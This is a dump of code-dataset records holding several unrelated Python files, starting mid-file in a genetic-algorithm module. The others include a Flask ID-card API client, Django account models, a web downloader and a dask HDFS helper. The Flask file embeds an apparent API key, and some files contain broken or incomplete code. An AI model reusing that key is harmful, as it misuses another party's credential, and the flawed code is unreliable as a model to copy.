parent_2):\n\t\"\"\"\n\tref. A Crossover Operator Using Independent Component Analysis for Real-Coded Genetic Algorithms (Takahashi & Kita, 2001)\n\t\"\"\"\n\talpha = 0.5 # ref Eshelmann & Schafer\n\n\tchild_genotype = np.zeros((parent_1.num_genes,))\n\tfor i in range(parent_1.num_genes):\n\t\tdifference = abs(parent_1.genotype[i] - parent_2.genotype[i])\n\t\tbound_1 = min(parent_1.genotype[i], parent_2.genotype[i]) - alpha * difference\n\t\tbound_2 = max(parent_1.genotype[i], parent_2.genotype[i]) + alpha * difference\n\t\tchild_genotype[i] = np.random.uniform(bound_1, bound_2)\n\n\treturn child_genotype\n\n\ndef child_sigma_v4(parent_1, parent_2):\n\t\"\"\"\n\tSigma calculation for the self-adapting mutation with n step sizes. Uses\n\tuniform crossover.\n\t\"\"\"\n\tchild_sigma = np.zeros((parent_1.num_genes,))\n\tfor i in range(parent_1.num_genes):\n\t\tif np.random.uniform(0,1) <= 0.5:\n\t\t\tchild_sigma[i] = parent_1.sigma[i]\n\t\telse:\n\t\t\tchild_sigma[i] = parent_2.sigma[i]\n\treturn child_sigma\n\ndef child_sigma_v5(parent_1, parent_2):\n\t\"\"\"\n\tSigma calculation for the self-adapting mutation with n step sizes. Uses\n\twhole arithmetic recombination.\n\t\"\"\"\n\talpha = np.random.uniform(0, 1.0)\n\tchild_sigma = alpha * parent_1.sigma + (1-alpha) * parent_2.sigma\n\treturn child_sigma\n\n\ndef survival_selection_top(offspring, population_size):\n\tsorted_offspring = sorted(offspring, key = lambda individual: individual.fitness)\n\tbest_offspring = sorted_offspring[-population_size:]\n\treturn best_offspring","sub_path":"evolution.py","file_name":"evolution.py","file_ext":"py","file_size_in_byte":5666,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"180856126","text":"from flask import Flask\r\nfrom flask import render_template\r\nfrom flask import request\r\n\r\nimport requests\r\nimport json\r\nimport urllib\r\n\r\napp = Flask(__name__)\r\n\r\n\r\n@app.route('/')\r\ndef hello_world():\r\n    return render_template('mypage.html')\r\n\r\n@app.route('/apitest',methods=['GET','POST'])\r\ndef apitest():\r\n    if request.method == 'POST':\r\n        appkey = \"0026fe208ea18ff0e4c0546f227e3f47\"\r\n        request1(appkey, \"GET\")\r\n        num = request.form['num']\r\n        print(\"num--->\" + num)\r\n        return render_template('apitest.html',result = num)\r\n    else:\r\n        return render_template('apitest.html',result = 'NOTHING')\r\n\r\n\r\ndef request1(appkey, m=\"GET\"):\r\n    url = \"http://apis.juhe.cn/idcard/index\"\r\n    params = {\r\n        \"cardno\": \"\",  # 身份证号码\r\n        \"dtype\": \"\",  # 返回数据格式：json或xml,默认json\r\n        \"key\": appkey,  # 你申请的key\r\n\r\n    }\r\n    params = urllib.parse.urlencode(params)\r\n    if m == \"GET\":\r\n        f = urllib.request.urlopen(\"%s?%s\" % (url, params))\r\n    else:\r\n        f = urllib.request.urlopen(url, params)\r\n\r\n    content = f.read()\r\n    res = json.loads(content)\r\n    if res:\r\n        error_code = res[\"error_code\"]\r\n        if error_code == 0:\r\n            # 成功请求\r\n            print\r\n            res[\"result\"]\r\n        else:\r\n            print\r\n            \"%s:%s\" % (res[\"error_code\"], res[\"reason\"])\r\n    else:\r\n        print\r\n        \"request api error\"\r\nif __name__ == '__main__':\r\n    app.run('10.141.36.112','8080')\r\n","sub_path":"untitled10/untitled10.py","file_name":"untitled10.py","file_ext":"py","file_size_in_byte":1505,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"321630533","text":"from src.constantes import NOME, TELEFONE, EMAIL\nfrom src.Contato import Contato\n\ndef valida_caracteres_validos(valor: str, caracteres: str) -> bool:\n    caracteres = caracteres.lower()\n    for letra in valor.lower():\n        if letra not in caracteres:\n            return False\n    return True\n\ndef is_nome(valor: str) -> bool:\n    '''\n        Dado uma string qualquer, identifica se é um nome válido\n    '''\n    if (valor.strip() == ''):\n        return False\n    caracteres_validos = \"abcdefghijklmnopqrstuvwxyzç'-áéíóúâêîôûàèìòùäëïöüãõ \"\n    return valida_caracteres_validos(valor, caracteres_validos)\n\ndef identifica_coluna(valor: str) -> int:\n    if Contato.verificar_telefone(valor):\n        return TELEFONE\n    if Contato.verificar_email(valor):\n        return EMAIL\n    if is_nome(valor):\n        return NOME\n    return -1","sub_path":"src/verificacoes.py","file_name":"verificacoes.py","file_ext":"py","file_size_in_byte":855,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"134115201","text":"import datetime\nimport os\nimport warnings\nfrom pathlib import Path\nfrom typing import NoReturn\n\n_project_root_folder_name: str = 'chewing_sensor_study'\n_global_experiment_name: str = 'untitled_experiment_'\n_untitled_experiment_name: str = 'untitled_experiment_'\n\n\ndef _get_experiment_name() -> str:\n    global _global_experiment_name\n\n    if _global_experiment_name is _untitled_experiment_name:\n        _global_experiment_name = _global_experiment_name + datetime.datetime.now().strftime('%Y-%m-%d_%H-%M-%S')\n        warnings.warn(\n            'Module has no experiment name configured.\\nAssigning the following name: ' + _global_experiment_name)\n\n    return _global_experiment_name\n\n\ndef set_experiment_name(experiment_name: str, is_file_name: bool = False) -> NoReturn:\n    assert isinstance(experiment_name, str)\n    assert isinstance(is_file_name, bool)\n\n    global _global_experiment_name\n    if is_file_name:\n        file_name = Path(experiment_name)\n        _global_experiment_name = file_name.name[0:-len(file_name.suffix)]\n    else:\n        _global_experiment_name = experiment_name\n\n\ndef get_root_path() -> Path:\n    cwd: Path = Path(os.getcwd())\n\n    while cwd.name is not _project_root_folder_name:\n        cwd = cwd.parent\n\n    return cwd\n\n\ndef get_generated_path() -> Path:\n    return get_root_path() / 'generated'\n\n\ndef get_results_path() -> Path:\n    x = get_root_path() / 'results' / _get_experiment_name()\n    x.mkdir(parents=True, exist_ok=True)\n\n    return x\n\n\ndef get_models_path() -> Path:\n    x = get_results_path() / 'models'\n    x.mkdir(parents=True, exist_ok=True)\n\n    return x\n\n\ndef get_best_model_path(lopo_idx: int = -1) -> Path:\n    models_path: Path = get_models_path()\n    if lopo_idx == -1:\n        model_name = \"best.h5\"\n    else:\n        model_name = \"best_\" + str(lopo_idx) + \".h5\"\n\n    return models_path / model_name\n\n\ndef get_tensorboard_logdir(lopo_idx: int = -1) -> Path:\n    assert isinstance(lopo_idx, int)\n\n    x: Path = get_results_path() / \"tensorboard\"\n    if lopo_idx != -1:\n        x = x / (\"LOPO_\" + str(lopo_idx))\n    x.mkdir(parents=True, exist_ok=True)\n\n    return x\n\n\ndef set_tensorflow_log_level(n: int = 3) -> NoReturn:\n    assert isinstance(n, int)\n\n    os.environ['TF_CPP_MIN_LOG_LEVEL'] = str(n)\n\n\ndef enable_tensorflow_eager_execution(enabled: bool = True) -> NoReturn:\n    assert isinstance(enabled, bool)\n\n    from tensorflow.python.framework.ops import enable_eager_execution, disable_eager_execution\n    if enabled:\n        enable_eager_execution()\n    else:\n        disable_eager_execution()\n\n\ndef get_res_main() -> Path:\n    return get_root_path() / 'res' / 'main'\n\n\ndef get_res_test() -> Path:\n    return get_root_path() / 'res' / 'test'\n\n\ndef get_src_main() -> Path:\n    return get_root_path() / 'src' / 'main'\n\n\ndef get_src_test() -> Path:\n    return get_root_path() / 'src' / 'test'\n\n\ndef get_wu2_path(machine_name: str = \"\") -> Path:\n    assert isinstance(machine_name, str)\n\n    if machine_name == \"mahakam\":\n        return Path(\"~/workspace/Datasets/chewing_sensor_study/wu2/Collected signals.min/\")\n    else:\n        return Path(\"~/workspace/Datasets/chewing_sensor_study/wu2/Collected signals.min/\")\n\n\ndef print_summary() -> NoReturn:\n    print('root       : ' + str(get_root_path()))\n    print('results    : ' + str(get_results_path()))\n    print('models     : ' + str(get_models_path()))\n    print('tensorboard: ' + str(get_tensorboard_logdir()))\n    print('res/main   : ' + str(get_res_main()))\n    print('res/test   : ' + str(get_res_test()))\n    print('src/main   : ' + str(get_src_main()))\n    print('src/test   : ' + str(get_src_test()))\n\n\nif __name__ == '__main__':\n    enable_tensorflow_eager_execution(True)\n    print(\"globalconfig: enabled TensorFlow eager execution mode\")\n\n    print_summary()\n","sub_path":"src/globalconfig.py","file_name":"globalconfig.py","file_ext":"py","file_size_in_byte":3783,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"581281263","text":"# _*_ coding: utf-8 _*_\n__author__ = 'LelandYan'\n__date__ = '2018/9/23 12:54'\n\nfrom urllib import request\nfrom urllib.parse import *\nimport random\nimport time\nfrom datetime import datetime\nimport socket\n\nDEFAULT_AGENT = 'wswp'\nDEFAULT_DELAY = 5\nDEFAULT_RETRIES = 1\nDEFAULT_TIMEOUT = 60\n\n\nclass Download:\n    def __init__(self, delay=DEFAULT_DELAY, user_agent='DEFAULT_AGENT', proxies=None, num_retries=DEFAULT_RETRIES,\n                 timeout=DEFAULT_TIMEOUT, opener=None, cache=None):\n        socket.setdefaulttimeout(timeout)\n        self.throttle = Throttle(delay)\n        self.user_agent = user_agent\n        self.proxies = proxies\n        self.num_retries = num_retries\n        self.opener = opener\n        self.cache = cache\n\n    def __call__(self, url):\n        result = None\n        if self.cache:\n            try:\n                result = self.cache[url]\n            except KeyError:\n                pass\n            else:\n                try:\n                    if self.num_retries > 0 and 500 <= result['code'] < 600:\n                        result = None\n                except Exception as e:\n                    result = None\n                else:\n                    pass\n        if result is None:\n            self.throttle.wait(url)\n            proxy = random.choice(self.proxies) if self.proxies else None\n            headers = {'User-agent': self.user_agent}\n            result = self.download(url, headers, proxy=proxy, num_retries=self.num_retries)\n            if self.cache:\n                self.cache[url] = result\n        return result['html']\n\n    def download(self, url, headers, proxy, num_retries, data=None):\n        print('Downloading: ', url)\n        req = request.Request(url, data, headers or {})\n        opener = self.opener or request.build_opener()\n        if proxy:\n            proxy_params = {urlparse(url).scheme: proxy}\n            opener.add_handler(request.ProxyHandler(proxy_params))\n        try:\n            response = opener.open(req)\n            html = response.read().decode('utf-8')\n            code = response.code\n        except Exception as e:\n            print('Download error', str(e))\n            html = \"\"\n            if hasattr(e, 'code'):\n                code = e.code\n                if num_retries > 0 and 500 <= code < 600:\n                    return self.download(url, headers, proxy, num_retries - 1, data)\n            else:\n                code = None\n        return {\"html\": html, 'code': code}\n\n\nclass Throttle:\n    def __init__(self, delay):\n        self.delay = delay\n        self.domains = {}\n\n    def wait(self, url):\n        domain = urlsplit(url).netloc\n        last_accessed = self.domains.get(domain)\n        if self.delay > 0 and last_accessed is not None:\n            sleep_delay = self.delay - (datetime.now() - last_accessed).seconds\n            if sleep_delay > 0:\n                time.sleep(sleep_delay)\n        self.domains[domain] = datetime.now()\n","sub_path":"practice/downloader.py","file_name":"downloader.py","file_ext":"py","file_size_in_byte":2931,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"536952831","text":"\"\"\"\nWSGI config for secretgraph project.\n\nIt exposes the WSGI callable as a module-level variable named ``application``.\n\n\"\"\"\n\n# WARNING: prefer asgi over wsgi as wsgi lacks lots of features like websockets\n\nfrom pathlib import Path\nimport os\nimport sys\n\nBASE_DIR = Path(__file__).resolve(strict=True).parent.parent\nif str(BASE_DIR) not in sys.path:\n    sys.path.append(str(BASE_DIR))\n\nfrom django.core.wsgi import get_wsgi_application  # noqa: E402\n\nos.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"secretgraph.settings.debug\")\nif not os.environ.get(\n    \"SECRETGRAPH_SILENCE\",\n    \"django.core.management\" in sys.modules,  # is loaded by manage.py\n):\n    print(\"USE SETTINGS:\", os.environ[\"DJANGO_SETTINGS_MODULE\"])\n\napplication = get_wsgi_application()\n","sub_path":"secretgraph/wsgi.py","file_name":"wsgi.py","file_ext":"py","file_size_in_byte":756,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"149874404","text":"from uuid import uuid4\nfrom django.contrib.auth.models import AbstractUser\nfrom django.contrib.postgres.fields import JSONField\nfrom django.db import models\nfrom django.urls import reverse\nfrom django.utils import timezone\nfrom django.utils.functional import cached_property\nfrom django_intenum import IntEnumField\nfrom hsreplaynet.games.models import Visibility\n\n\nHEARTHSTONE_LOCALES = (\n\t(\"enUS\", \"English\"),\n\t# (\"enGB\", \"English (GB)\"),\n\t(\"zhTW\", \"Chinese (TW)\"),\n\t(\"zhCN\", \"Chinese (CN)\"),\n\t(\"frFR\", \"French\"),\n\t(\"deDE\", \"German\"),\n\t(\"itIT\", \"Italian\"),\n\t(\"jaJP\", \"Japanese\"),\n\t(\"koKR\", \"Korean\"),\n\t(\"plPL\", \"Polish\"),\n\t(\"ptBR\", \"Portuguese (BR)\"),\n\t# (\"ptPT\", \"Portuguese (PT)\"),\n\t(\"ruRU\", \"Russian\"),\n\t(\"esES\", \"Spanish (ES)\"),\n\t(\"esMX\", \"Spanish (MX)\"),\n\t(\"thTH\", \"Thai\"),\n)\n\n\nclass AccountClaim(models.Model):\n\tid = models.UUIDField(primary_key=True, editable=False, default=uuid4)\n\ttoken = models.OneToOneField(\"api.AuthToken\")\n\tapi_key = models.ForeignKey(\"api.APIKey\", on_delete=models.CASCADE, null=True)\n\tcreated = models.DateTimeField(\"Created\", auto_now_add=True)\n\n\tdef __str__(self):\n\t\treturn str(self.id)\n\n\tdef get_absolute_url(self):\n\t\treturn reverse(\"account_claim\", kwargs={\"id\": self.id})\n\n\tdef get_full_url(self):\n\t\treturn \"https://hsreplay.net\" + self.get_absolute_url()\n\n\nclass User(AbstractUser):\n\tid = models.BigAutoField(primary_key=True)\n\tusername = models.CharField(max_length=150, unique=True)\n\tbattletag = models.CharField(\n\t\tmax_length=24, blank=True,\n\t\thelp_text=\"The user's primary Battle.net username.\"\n\t)\n\tis_fake = models.BooleanField(default=False)\n\n\t# Profile fields\n\tlocale = models.CharField(\n\t\tmax_length=8, default=\"enUS\",\n\t\tchoices=HEARTHSTONE_LOCALES,\n\t\thelp_text=\"The user's preferred Hearthstone locale for display\"\n\t)\n\tdefault_replay_visibility = IntEnumField(\n\t\t\"Default replay visibility\",\n\t\tenum=Visibility, default=Visibility.Public\n\t)\n\texclude_from_statistics = models.BooleanField(default=False)\n\tjoust_autoplay = models.BooleanField(default=True)\n\tsettings = JSONField(default={})\n\n\t@cached_property\n\tdef stripe_customer(self):\n\t\tfrom djstripe.models import Customer\n\t\tcustomer, created = Customer.get_or_create(self)\n\t\treturn customer\n\n\t@cached_property\n\tdef is_premium(self):\n\t\tfrom django.conf import settings\n\n\t\t# The PREMIUM_OVERRIDE setting allows forcing a True or False for all users\n\t\t# This is especially useful if no Stripe API key is available\n\t\tpremium_override = getattr(settings, \"PREMIUM_OVERRIDE\", None)\n\t\tif premium_override is not None:\n\t\t\treturn premium_override\n\n\t\tif not getattr(settings, \"STRIPE_SECRET_KEY\", \"\"):\n\t\t\t# Override to false if we don't have a Stripe secret key to avoid unnecessary errors.\n\t\t\treturn False\n\n\t\tnow = timezone.now()\n\t\tcustomer = self.stripe_customer\n\t\tsubscriptions = customer.subscriptions.filter(status=\"active\", current_period_end__gt=now)\n\t\treturn subscriptions.count() > 0\n\n\tdef delete_replays(self):\n\t\tself.replays.update(is_deleted=True)\n\n\tdef guess_player_name(self):\n\t\tnames = []\n\t\tfor replay in self.replays.filter(spectator_mode=False):\n\t\t\tname = replay.friendly_player.name\n\t\t\tif name:\n\t\t\t\tnames.append(name)\n\t\tif names:\n\t\t\treturn max(set(names), key=names.count)\n\n\tdef trigger_webhooks(self, replay):\n\t\tif self.is_fake:\n\t\t\t# Fake users should never have webhooks\n\t\t\treturn\n\n\t\twebhooks = self.webhooks.filter(is_active=True, is_deleted=False)\n\t\tif webhooks.count():\n\t\t\tdata = replay.serialize()\n\t\t\tfor webhook in webhooks:\n\t\t\t\twebhook.trigger(data)\n\n\nclass AccountDeleteRequest(models.Model):\n\tuser = models.OneToOneField(User)\n\treason = models.TextField(blank=True)\n\tdelete_replay_data = models.BooleanField(default=False)\n\tcreated = models.DateTimeField(auto_now_add=True)\n\tupdated = models.DateTimeField(auto_now=True)\n\n\tdef __str__(self):\n\t\treturn \"Delete request for %s\" % (self.user)\n\n\tdef process(self):\n\t\tif self.user.last_login > self.updated:\n\t\t\t# User logged back in since the request was filed. Request no longer valid.\n\t\t\treturn\n\t\tif self.delete_replay_data:\n\t\t\tself.user.delete_replays()\n\t\tself.user.delete()\n","sub_path":"hsreplaynet/accounts/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":4040,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"436841851","text":"import re\n\nfrom seqbio.calculation.SeqCal import gcContent, atContent, countBase, countBasesDict\nfrom seqbio.pattern.SeqPattern import enzTargetsScan, cpgSearch\nfrom seqbio.seqMan.dnaconvert import dna2rna, reverseComplementSeq, dna2protein, reverseSeq, complementSeq, loadCodons\n\n# Input\n# seq = 'ATGGGccGTAGAATTCTTGCaaGCCCGT'\n# seq = seq.upper()\n\n# print(\"Transcription: \", dna2rna(seq))\n# print(\"Transcription-revcomp: \", dna2rna(reverseComplementSeq(seq)))\n# print(\"Translation: \", dna2protein(seq))\n# print(\"Translation-revcomp: \", dna2protein(reverseComplementSeq(seq)))\n# print(\"GC Content:\", gcContent(seq))\n# print(\"Count Bases: \", countBasesDict(seq))\n# print(\"Count Bases-revcomp: \", countBasesDict(reverseComplementSeq(seq)))\n# print(\"Search EcoRI: \", enzTargetsScan(seq, 'EcoRI'))\n# print(\"Search EcoRI-revcomp: \", enzTargetsScan(reverseComplementSeq(seq), 'EcoRI'))\n\ndef test():\n    seq = 'ATGGGccGTAGAATTCTTGCaaGCCCGT'\n    seq = seq.upper()\n\n    print(\"Transcription: \", dna2rna(seq))\n    print(\"Transcription-revcomp: \", dna2rna(reverseComplementSeq(seq)))\n    print(\"Translation: \", dna2protein(seq))\n    print(\"Translation-revcomp: \", dna2protein(reverseComplementSeq(seq)))\n    print(\"GC Content:\", gcContent(seq))\n    print(\"Count Bases: \", countBasesDict(seq))\n    print(\"Count Bases-revcomp: \", countBasesDict(reverseComplementSeq(seq)))\n    print(\"Search EcoRI: \", enzTargetsScan(seq, 'EcoRI'))\n    print(\"Search EcoRI-revcomp: \", enzTargetsScan(reverseComplementSeq(seq), 'EcoRI'))\n\ndef argparserLocal():\n    from argparse import ArgumentParser\n    '''Argument parser for the commands'''\n    parser = ArgumentParser(prog='myseq', description='Work with sequence')\n\n    subparsers = parser.add_subparsers(\n        title='commands', description='Please choose command below:' ,\n        dest='command'\n    )\n    \n    subparsers.required = True\n\n    #first command is gcContent\n    cgc_command = subparsers.add_parser('gcContent', help='Calculate GC content')\n    cgc_command.add_argument(\"-s\", \"--seq\", type=str, default=None,\n                            help=\"Provide sequence\")\n\n    #second command is countBases\n    cbase_command = subparsers.add_parser('countBases', help='Count number of each base')\n    cbase_command.add_argument(\"-s\", \"--seq\", type=str, default=None, \n                            help=\"Provide Sequence\")\n    cbase_command.add_argument(\"-r\", \"--revcomp\", action ='store_true', default=False, \n                            help=\"Convet DNA to reverse-complementary\")\n\n    #third command is transcription\n    transc_command = subparsers.add_parser('transcription', help='Convert DNA->RNA')\n    transc_command.add_argument(\"-s\", \"--seq\", type=str, default=None, \n                            help=\"Provide Sequence\")\n    transc_command.add_argument(\"-r\", \"--revcomp\", action ='store_true', default=False, \n                            help=\"Convet DNA to reverse-complementary\")\n\n    #fouth command is translation\n    transl_command = subparsers.add_parser('translation', help='Convert DNA->Protein')\n    transl_command.add_argument(\"-s\", \"--seq\", type=str, default=None, \n                            help=\"Provide Sequence\")\n    transl_command.add_argument(\"-r\", \"--revcomp\", action ='store_true', default=False, \n                            help=\"Convet DNA to reverse-complementary\")\n\n    #fifth command is enzTargetsScan\n    renz_command = subparsers.add_parser('enzTargetsScan', help='Find restriction enzyme')\n    renz_command.add_argument(\"-s\", \"--seq\", type=str, default=None, \n                            help=\"Provide Sequence\")\n    renz_command.add_argument(\"-e\", \"--enz\", type=str, default=None, \n                            help=\"Provide Enzyme name\")\n    renz_command.add_argument(\"-r\", \"--revcomp\", action ='store_true', default=False, \n                            help=\"Convet DNA to reverse-complementary\")\n\n\n    # parser.print_help()\n\n    return parser\n\ndef main():\n    parser = argparserLocal()\n    args = parser.parse_args()\n    # print(args)\n    \n    if args.command == 'gcContent':\n        if args.seq == None:\n            print(\"------------------------------------------------------\\nError: Invalid input (You do not provide -s or --seq)\\n------------------------------------------------------\\n\")\n            exit(parser.parse_args(['gcContent','-h']))\n        # print(\"line 96\", args.seq.upper())\n        # print(\"line 97\", countBase(args.seq, 'G'))\n        # print(\"line 98\", countBase(args.seq, 'c'))\n        # print(\"line 99\", len(args.seq))\n        # print(\"line 100\", float(gcContent(args.seq)))\n        print(\"Input \", args.seq, \"GC Content = \", gcContent(args.seq.upper()))\n\n    elif args.command == 'countBases':\n        if args.seq == None:\n            print(\"------------------------------------------------------\\nError: Invalid input (You do not provide -s or --seq)\\n------------------------------------------------------\\n\")\n            exit(parser.parse_args(['countBases','-h']))\n        elif args.revcomp:\n            print(\"Input \", args.seq, \"countBases = \", countBasesDict(reverseComplementSeq(args.seq.upper())))\n        else:\n            print(\"Input \", args.seq, \"countBases = \", countBasesDict(args.seq.upper()))\n    \n    elif args.command == 'transcription':\n        if args.seq == None:\n            print(\"------------------------------------------------------\\nError: Invalid input (You do not provide -s or --seq)\\n------------------------------------------------------\\n\")\n            exit(parser.parse_args(['transcription','-h']))\n        elif args.revcomp:\n            print(\"Input \", args.seq, \"Transcription = \", dna2rna(reverseComplementSeq(args.seq.upper())))\n        else:\n            print(\"Input \", args.seq, \"Transcription = \", dna2rna(args.seq.upper()))\n\n    elif args.command == 'translation':\n        if args.seq == None:\n            print(\"------------------------------------------------------\\nError: Invalid input (You do not provide -s or --seq)\\n------------------------------------------------------\\n\")\n            exit(parser.parse_args(['translation','-h']))\n        elif args.revcomp:\n            print(\"Input \", args.seq, \"Translation = \", dna2protein(reverseComplementSeq(args.seq.upper())))\n        else:\n            print(\"Input \", args.seq, \"Translation = \", dna2protein(args.seq.upper()))\n\n    elif args.command == 'enzTargetsScan':\n        if args.seq == None or args.enz == None:\n            print(\"--------------------------------------------------------\\nError: Invalid input (You do not provide --seq or --enz)\\n--------------------------------------------------------\\n\")\n            exit(parser.parse_args(['enzTargetsScan','-h']))\n        elif args.revcomp:\n            print(\"Input \", args.seq, args.enz, \"sites = \", enzTargetsScan(reverseComplementSeq(args.seq.upper()), args.enz))\n        else:\n            print(\"Input \", args.seq, args.enz, \"sites = \", enzTargetsScan(args.seq.upper(), args.enz))\n\n    # print(args.seq, gcContent(args.seq))\n    # print(args.seq, enzTargetsScan(args.seq, args.enz))\n\n\nif __name__ == \"__main__\":\n    # test()\n    main()\n    ","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7094,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"185724192","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.6 (62161)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: /var/makina/pasteStage/pasteFunBot/Paste-1.7.2-py2.6.egg/paste/util/threadinglocal.py\n# Compiled at: 2009-07-20 09:44:04\n\"\"\"\nImplementation of thread-local storage, for Python versions that don't\nhave thread local storage natively.\n\"\"\"\ntry:\n    import threading\nexcept ImportError:\n\n    class local(object):\n        pass\n\n\nelse:\n    try:\n        local = threading.local\n    except AttributeError:\n        import thread\n\n        class local(object):\n\n            def __init__(self):\n                self.__dict__['__objs'] = {}\n\n            def __getattr__(self, attr, g=thread.get_ident):\n                try:\n                    return self.__dict__['__objs'][g()][attr]\n                except KeyError:\n                    raise AttributeError('No variable %s defined for the thread %s' % (\n                     attr, g()))\n\n            def __setattr__(self, attr, value, g=thread.get_ident):\n                self.__dict__['__objs'].setdefault(g(), {})[attr] = value\n\n            def __delattr__(self, attr, g=thread.get_ident):\n                try:\n                    del self.__dict__['__objs'][g()][attr]\n                except KeyError:\n                    raise AttributeError('No variable %s defined for thread %s' % (\n                     attr, g()))","sub_path":"pycfiles/pasteFunBot-0.1.tar/threadinglocal.py","file_name":"threadinglocal.py","file_ext":"py","file_size_in_byte":1419,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"175508243","text":"\"\"\" This file is experimental and may disappear without warning \"\"\"\nfrom __future__ import print_function, division, absolute_import\n\nimport os\n\nfrom .executor import default_executor\nfrom .utils import ignoring\n\nwith ignoring(ImportError):\n    import snakebite.protobuf.ClientNamenodeProtocol_pb2 as client_proto\n    from snakebite.client import Client\n\n\ndef get_locations(filename, name_host, name_port, data_root='/data/dfs/dn'):\n    client = Client(name_host, name_port, use_trash=False)\n    files = list(client.ls([filename]))\n    return [pair for file in files for pair in find(file, client, data_root)]\n\n\ndef find(f, client, data_root='/data/dfs/dn'):\n    request = client_proto.GetBlockLocationsRequestProto()\n    request.src = f['path']\n    request.length = long(f['length'])\n    request.offset = long(0)\n\n    response = client.service.getBlockLocations(request)\n\n    return [{'block': block,\n             'path': get_local_path(block, data_root),\n             'hosts': [location.id.ipAddr for location in block.locs]}\n             for block in response.locations.blocks]\n\n\ndef get_local_path(block, data_root='/data/dfs/dn'):\n    pool = block.b.poolId\n    Id = block.b.blockId\n    loc = idtoBlockdir(Id)\n    return \"{}/current/{}/current/finalized/{}/blk_{}\".format(\n                    data_root, pool, loc, Id)\n\n\nBLOCK_SUBDIR_PREFIX = 'subdir'\ndef idtoBlockdir(blockId):\n    d1 = str(((blockId >> 16) & 0xff))\n    d2 = str(((blockId >> 8) & 0xff))\n    pathd1 = BLOCK_SUBDIR_PREFIX+d1\n    pathd2 = BLOCK_SUBDIR_PREFIX+d2\n    path = os.path.join(pathd1, pathd2)\n    return path\n\n\ndef get_data_root():\n    confd = os.environ.get('HADOOP_CONF_DIR', os.environ.get('HADOOP_INSTALL',\n                           '') + '/hadoop/conf')\n    conf = os.sep.join([confd, 'hdfs-site.xml'])\n    import xml\n    x = xml.etree.ElementTree.fromstring(open(conf).read())\n    for e in x:\n        if e.find('name').text == 'dfs.datanode.data.dir':\n            return e.find('value').text\n\n\ndef map_blocks(func, location, namenode_host, namenode_port,\n               data_root='/data/dfs/dn', executor=None, **kwargs):\n    \"\"\" Map a function over blocks of a location in HDFS\n\n    >>> L = map_blocks(pd.read_csv, '/data/nyctaxi/',\n    ...                '192.168.1.100', 9000)  # doctest: +SKIP\n    >>> type(L)[0]  # doctest: +SKIP\n    Future\n    \"\"\"\n    executor = default_executor(executor)\n    blocks = get_locations(location, namenode_host, namenode_port, data_root)\n    paths = [blk['path'] for blk in blocks]\n    hosts = [blk['hosts'] for blk in blocks]\n    return executor.map(func, paths, workers=hosts, **kwargs)\n\n\ndef dask_graph(func, location, namenode_host, namenode_port, executor=None,\n               **kwargs):\n    \"\"\" Produce dask graph mapping function over blocks in HDFS\n\n    Inserts HDFS host restrictions into the executor.\n\n    Returns a graph and keys corresponding to function applied to blocks.\n    Does not trigger execution.\n\n    >>> dsk, keys = dask_graph(pd.read_csv, '/data/nyctaxi/',\n    ...                        '192.168.1.100', 9000)  # doctest: +SKIP\n    \"\"\"\n    executor = default_executor(executor)\n    blocks = get_locations(location, namenode_host, namenode_port, **kwargs)\n    paths = [blk['path'] for blk in blocks]\n    hosts = [blk['hosts'] for blk in blocks]\n    names = [(funcname(func), path) for path in paths]\n    restrictions = dict(zip(names, hosts))\n\n    dsk = {name: (func, path) for name, path in zip(names, paths)}\n\n    executor.send_to_scheduler({'op': 'update-graph',\n                                'dsk': {},\n                                'keys': [],\n                                'restrictions': restrictions})\n    return dsk, names\n\n\ndef read_csv(location, namenode_host, namenode_port, executor=None, **kwargs):\n    import pandas as pd\n    import dask.dataframe as dd\n    from dask.compatibility import apply\n    executor = default_executor(executor)\n\n    blocks = get_locations(location, namenode_host, namenode_port, **kwargs)\n    paths = [blk['path'] for blk in blocks]\n    hosts = [blk['hosts'] for blk in blocks]\n    name = 'hdfs-read-csv-' + location\n    names = [(name, i) for i, _ in enumerate(paths)]\n\n    restrictions = dict(zip(names, hosts))\n    executor.send_to_scheduler({'op': 'update-graph',\n                                'dsk': {},\n                                'keys': [],\n                                'restrictions': restrictions})\n\n    future = executor.submit(fill_kwargs, blocks[0]['path'], **kwargs)\n    columns, kwargs = future.result()\n    rest_kwargs = assoc(kwargs, 'header', None)\n\n    dsk = {(name, i): (apply, pd.read_csv, (path,), rest_kwargs)\n           for i, path in enumerate(paths)}\n    dsk[(name, 0)] = (apply, pd.read_csv, (paths[0],), kwargs)\n    divisions = [None] * (len(paths) + 1)\n\n    return dd.DataFrame(dsk, name, columns, divisions)\n","sub_path":"distributed/hdfs.py","file_name":"hdfs.py","file_ext":"py","file_size_in_byte":4841,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
